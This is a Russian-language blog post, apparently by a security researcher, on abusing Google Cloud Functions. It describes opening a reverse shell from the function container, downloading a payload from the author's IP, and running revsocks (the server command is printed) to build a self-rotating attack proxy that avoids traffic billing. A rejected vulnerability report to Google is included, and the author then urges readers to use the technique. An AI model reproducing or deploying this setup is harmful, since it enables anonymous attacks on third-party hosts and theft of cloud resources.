В один из скучных карантинных вечеров, когда вся работа была переделана, и заняться особо было нечем, я вдруг вспомнил, что давно я не заглядывал в гости к Google)) тем более, у них появилось довольно большое количество облачных сервисов, которые просто грех не прощупать. Работая с Lambda в AWS, мне вдруг захотелось сравнить аналог в Google, который называется Cloud Function в нашем с вами контектсте. Так зачем же отказывать себе в подобных изысканиях, поехали! =)

В процессе использования Cloud Function было обнаружено, что у Хакера имеется возможность загрузить свой зловредный код в тело функции и выполнить reverse shell к серверу Хакера что приводит к выполнению произвольного кода  Linux-контейнера. В нашем случае, я буду рассматривать Cloud Function для выполнения Python-скриптов, и для начала, загрузим наш код в функцию через веб-интерфейс Cloud Function:

Pic.1 Reverse-shell code and env command output

В результате вызова функции, происходит reverse-shell от root-пользователя к серверу Хакера, в нашем случае с выводом команды env, которая отображает имеющиеся переменные окружения Linux-контейнера. 

Некоторые переменные могут показаться интересными, например:

  • X_GOOGLE_SUPERVISOR_HOSTNAME=supervisor
  • SUPERVISOR_INTERNAL_PORT=8081
  • VIRTUAL_ENV=/env
  • PORT=8080
  • etc…

Pics.2-3  Linux container and env command output

Пробежавшись по каталогам, можно обнаружить, что в каталогах /env находится большое количество исходных кодов на Python доступных для дальнейшего изучения Хакером. В директории /worker также имеются несколько Python-скриптов, которые запускают саму функцию помещенную в директорию /user_code, которая является симлинком на /tmp.

Pic.4 Worker directory listing

В процессе создания функциии, пользователю предлагается выбрать количество необходимой памяти (RAM) для выполнения функции в контейнере, от выбора зависит конечная стоимость выполнения самой функции. Конечная стоимость выполнения функции рассчитывается ТОЛЬКО из потребления из CPU и выбора RAM.  

В процессе выполнения Reverse-shell Хакеру доступны все 2048Mb RAM, даже если пользователь при создании функции выбрал 128Mb. А это означает, что расчёт стоимости считается не правильно, и это можно рассматривать как — УЯЗВИМОСТЬ 1.

Pic.5 User memory selection

Pic.6 Memory available

Если вызвать uname -a, то можно обнаружить, что хостовое ядро имеет довольно старую версию, но т.к. контейнер имеет Security Hardening, то проэксплуатировать что-либо из публичных уязвимостей не представляется возможным… но это не точно =))

Pic.7 Host linux kernel

При исследовании Linux-контейнера были обнаружены следующие ограничения:

  • Linux-контейнер имеет внешний IP-адрес, но доступ на входящие подключения закрыт — bind-shell недоступен!
  • Корневая файловая система доступна только для чтения, кроме /tmp (overlayfs) без возможности remount — установка софта из репозитория недоступна!

Ряд дополнительных наблюдений:

  • Было обнаружено, что в Linux-контейнере имеется ряд установленного софта, например wget, который может нам пригодиться в дальнейшем для доставки своего Payload в контейнер.
  • Linux-container может совершать исходящие соединения на любой TCP-порт в Internet (1-65535/tcp), устанавливая соединение с любым хостом.
  • При инициализации Linux-контейнера, ему назначается новый внешний IP-address.
  • Внутри контейнера имеется возможность выставить exec-флаг (chmod +x file) на любой файл загруженные в /tmp директорию — и это может нам пригодиться для загрузки своего PayloadУЯЗВИМОСТЬ 2.
  • У Linux-контейнера существует настройка тайм-аута выполнения функции, по умолчанию значение равно 60 сек., максимально допустимое значение — 540 сек.  — это означает, что при reverse-shell контейнер закроет TCP-соединение через установленный интервал с сервером и контейнер будет уничтожен.

Pic.8 Function time-out

Визуализируем текущее состояние нашего исследования в виде схемы, от которой в дальнейшем будем выстраивать свою атаку на  Linux-контейнер:

Pic.9 Cloud function reverse-shell to Hacker server

Исходя из совокупности вышеописанных факторов, можно провести атаку Reverse-socks, суть которой такова: 

  • В тело функции помещается зловредный код
  • В Linux-контейнер доставляется Payload (port.tar) средствами wget с сервера Хакера — http://167.71.2.108/port.tar , в архиве которого находится бинарник revsocks и shell-script (ссылки ниже)
  • Payload архив доставляется в контейнер и распаковывается в /tmp с последующим вызовом init.sh
  • Скрипт init.sh вызывает бинарник с определенными аргументами, который в свою очередь устанавливает исходящее соединение от Linux-контейнера к серверу Хакера на 8081/tcp
  • На сервере хакера предварительно запущен сервис, который прослушивается на порту 9090/tcp и ожидает входящие подключения от Linux-контейнера на 8081/tcp

Pic.10 Reverse-socks Payload code

В качестве SOCKS-прокси был использован revsocks, который написан на Go, и компилируется в один самодостаточный бинарник, который выступает в роли сервера и клиента — https://github.com/kost/revsocks .

Pic.11 init.sh script

На стороне Хакера запускается серверная часть revsocks:

./revsocks -listen :8081 -socks 167.71.2.108:9090 -pass hammer50 &> ./logs/server.log & 


При вызове функции — загружается Payload, контейнер устанавливается TCP-соединение на порт 8081/tcp, Хакер устанавливает соединение со своим сервером на порт 9090/tcp любым SOCKS5-клиентом, например браузером, и выполняет форвардинг трафика от контейнера в Интернет, используя его как прокси сервер:

Pic.12 Browser proxy settings

Pic.13 Traffic forwarding through Linux-container

Далее, трафик успешно форвардится, но TTL Linux-контейнера = 9 мин., после чего контейнер уничтожается, а перезапускать каждый раз контейнер руками — не по Хакерски! =)

Для решения этой задачи быстренько разработаем PoC в виде overlay shell-скрипта (назовем его proxima.sh), который в автоматическом режиме будет менеджить наши Linux-контейнеры, автоматически их создавать, проверять, перезапускать, проверять подключения клиента и SOCKS-сервера:

Pic.14 PoC overlay script for full automation

Хотелось бы сделать пару комментариев к скрипту, если читатель вдруг решит развернуть Хак-прокси у себя. Для этого вам понадобится:

  • любой микро-инстанс (512MB RAM, 1 CPU core), например на DO =)
  • установить curl и gcloud себе на сервис
  • инициировать gcloud
  • создать функцию через веб-интерфейс или через тот же gcloud, предварительно в настройках дав возможность вызова функции неавторизованным пользователем (unauth. invoke)
  • В переменной FUNC_NAME указать название своей ранее созданной функции (31 строка)
  • Открыть микро-инстансе TCP-порты для входящих подключений контейнера и SOCKS-клиент (8081/tcp & 9090/tcp)
  • В конце-концов доработать PoC под себя, или вообще разработать свой более качественный xD

Результат выполнения PoC-скрипта выглядит следующим образом:

Pics.15 Automatic management Linux-container as Hacker Proxy Server (HPS)

Как видно на скриншоте выше (Pics.15), через 9 минут происходит автоматическая смена IP-адреса (container reinit) — идеальный вариант для Хакера, который хочет запустить свои malicious-скрипты. В результате, Хакер может атаковать как сервер SUPERVISOR со своего хоста, так и любой хост в Интернет. Схема атаки выглядит следующим образом:

Pic.17 Big picture

Также, в результате исследования было выявлено, что сетевой трафик в рамках Cloud Function не учитывается в стоимости, а это означает, что Хакер может использовать гигабайты трафика, при этом платя только за процессорное время и оперативную память — УЯЗВИМОСТЬ 3.

Pic.18 Download gigabytes through Linux-container

Pic.19 Nmap through SOCKS-proxy server

Для удобства использования нашей рабочей схемы, можно использовать BadVPN, который на уровне ОС имеет возможность установить соединение с SOCKS-сервером и прописать системные роутинги (route / ip r)

Pic.20 BadVPN init script

В результате выполнения скрипта, создается виртуальный сетевой интерфейс hpstun0 взаимодействующий с SOCKS-сервером, добавляется подсеть 169.254.0.0/16, которая маршрутизируется через hpstun0.

Pic.21 Using BadVPN through Hacker server with reverse-socks

После выкачивания гигабайтов трафика , в биллинге мы можем увидеть что расходы на выполнения функции составили ~15руб. (~0.2$), то есть расчёт скачанного трафика через Cloud Function — не учитывается!

Pic.22 Billing information

Vulnerabilities summary

  1. Ресурсы использования оперативной памяти могут считаться неправильно.
  2. В Linux-контейнере возможна установка exec-флагов (chmod +) на свой Payload.
  3. Не учитывается передаваемый сетевой трафик от Cloud Function в Интернет.
  4. Снижение уровня доверия к диапазонам адресам айпи адресов Google.

Всё вышеизложенное добро было направлено в Google в рамках VRP, на что был получен следующий ответ от Security-команды (реакция < 12 часов в выходной день, много времени видать на Reproduction и анализ потратили xDD):

Но ребятки из Google Security Team не считают вышеизложенное уязвимостями, и не видят какого-либо импакта во всём этом)) Бегать по продуктовым форумам Google и доказывать им что-то там про уязвимости за то, что бы тебе подкинули косточку в виде $$$ — топовая идея конечно, спасибо но нет, иногда дело совсем не в деньгах, а в профессионализме, которым частенько принебригают специалисты в подобных компаниях по ряду объективных и не очень причин =))

Подозреваю, что ребята из Security-команды из-за большого количества своих продуктов не совсем понимают детали работы своих же продуктов xDDD, а в частности расчёты ресурсов между VM instance vs. Cloud Function, об этом они кстати честно признаются в этой презентации

Исходя из этого, я просто не могу не поделиться всем этим добром с хак-сообществом — Юзайте, Товарищи, юзайте!

Ну и по классике жанра, резюмирующая картинка всего этого поста:

Пилите Шура, пилите! (с)

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход /  Изменить )

Google photo

Для комментария используется ваша учётная запись Google. Выход /  Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход /  Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход /  Изменить )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.